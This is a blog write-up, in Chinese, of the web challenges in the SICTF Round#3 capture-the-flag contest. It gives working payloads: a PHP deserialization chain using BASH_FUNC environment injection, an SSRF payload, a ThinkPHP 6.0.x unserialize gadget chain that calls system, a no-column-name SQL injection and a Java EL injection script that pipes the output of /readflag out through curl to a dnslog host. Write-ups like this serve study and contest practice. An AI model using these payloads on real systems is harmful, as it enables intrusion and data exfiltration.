SICTF Round#3 WP

最新推荐文章于 2024-05-25 15:23:03 发布

来君悦（xiaolaisec）

最新推荐文章于 2024-05-25 15:23:03 发布

阅读量1k

点赞数 24

本文链接：https://blog.csdn.net/m0_64016126/article/details/136167409

版权

战队名:Dosec

队员:xiaolaisec

又是一个人孤军奋战，师傅们太猛了，我最后实在是顶不住了，最终是第52名(我是菜鸡)

WEB

100％_upload

上传图片马shell.jpg

利用文件包含去包含我们的图片马

Not just unserialize

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
?>

打反序列化链子

<?php

class start

{

    public $welcome;

    public $you;

}



class SE{

    public $year;

}



class CR {

    public $last;

public $newyear="\nworries";

}



class ET{

}

$a=new start();

$a->welcome=new SE();

$a->welcome->year=new CR();

$a->welcome->year->last=new ET();



echo base64_encode(serialize($a));

输出:

Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9

最后进行putenv进行getshell，参考文章:

我是如何利用环境变量注入执行任意命令 - 跳跳糖

最终payload:

?go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9&get[BASH_FUNC_echo%%]=()%20{%20cat%20/f*;%20}

EZ_SSRF

dirsearch扫后台可以得到admin.php

Admin.php如下

我们直接利用index.php打SSRF进行IP伪造

<?php

class client{

    public $url='http://127.0.0.1/admin.php';

    public $payload;

}

$a=new client();

echo serialize($a);

最终Payload:

?Harder=O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}

得到一串base64字符

解密即可得到flag

Oyst3rPHP

后台有个www.zip，下载进行代码审计

代码审计后可以知道是利用ThinkPHP6.0.x打反序列化，前提是绕过有个md5比较和preg_match正则，利用?right=s878926199a&left=s155964671a绕过md5，利用PCRE回溯次数限制绕过正则，最终利用EXP进行getshell(题目不能反弹shell)

EXP：

<?php

namespace think\model\concern;

trait Attribute

{

    private $data = ["Lethe" => "cat /O*"];

    private $withAttr = ["Lethe" => "system"];

}

namespace think;

abstract class Model

{

    use model\concern\Attribute;

    private $lazySave;

    protected $withEvent;

    private $exists;

    private $force;

    protected $table;

    function __construct($obj = '')

    {

        $this->lazySave = true;

        $this->withEvent = false;

        $this->exists = true;

        $this->force = true;

        $this->table = $obj;

    }

}

namespace think\model;

use think\Model;

class Pivot extends Model

{

}

$a = new Pivot();

$b = new Pivot($a);

echo base64_encode(serialize($b));

Payload: GET:http://yuanshen.life:37259/?right=s878926199a&left=s155964671a

POST太长就不复制了，查看源码得到flag

hacker

题目过滤了or,and,|,&，可以用union select注入

由于过滤了or，所以information_schema数据库也用不了，因此我们无法知道flag的列名

源码有提示flag在flag表里，利用无列名注入

buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1_网鼎杯知识点-CSDN博客

Payload:

?username=flag%27/**/union/**/select/**/(select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select*from/**/flag)n)%23

[进阶]elInjection

这题考EL注入，后面懂的都懂，出题人教我们做题，hint就是wp[狗头]

（先知首发）浅析EL表达式注入漏洞 [ Mi1k7ea ]

Java EL （Expression Language）表达式注入 | J0k3r's Blog

利用ScriptEngine基础上可以使用Base64编码Bypass

非预期解法dns出网情况下，dns换行导致解析失败可以使用命令，ls /|head -n 1|tail -n -1，来读取行数

flag没有权限读取，执行/readflag获取

套双层ScriptEngineManager的eval执行java.util.Base64解码内容

能执行命令的bash -c "curl `/readflag`.dns"

Exp:

import requests

import base64


def encode(payload):

    encode_payload = ""

    for i in range(0, len(payload)):

        if i == 0:

            encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])

        else:

            encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])

    return encode_payload

cmd = b"curl `/readflag`.2xrr6i.dnslog.cn"

exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(%s)}' % (encode("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}\")"))

url = "http://yuanshen.life:23333/test"
data = {'exp': exp}
r = requests.post(url, data).text
print(r)

最后dnslog外带即可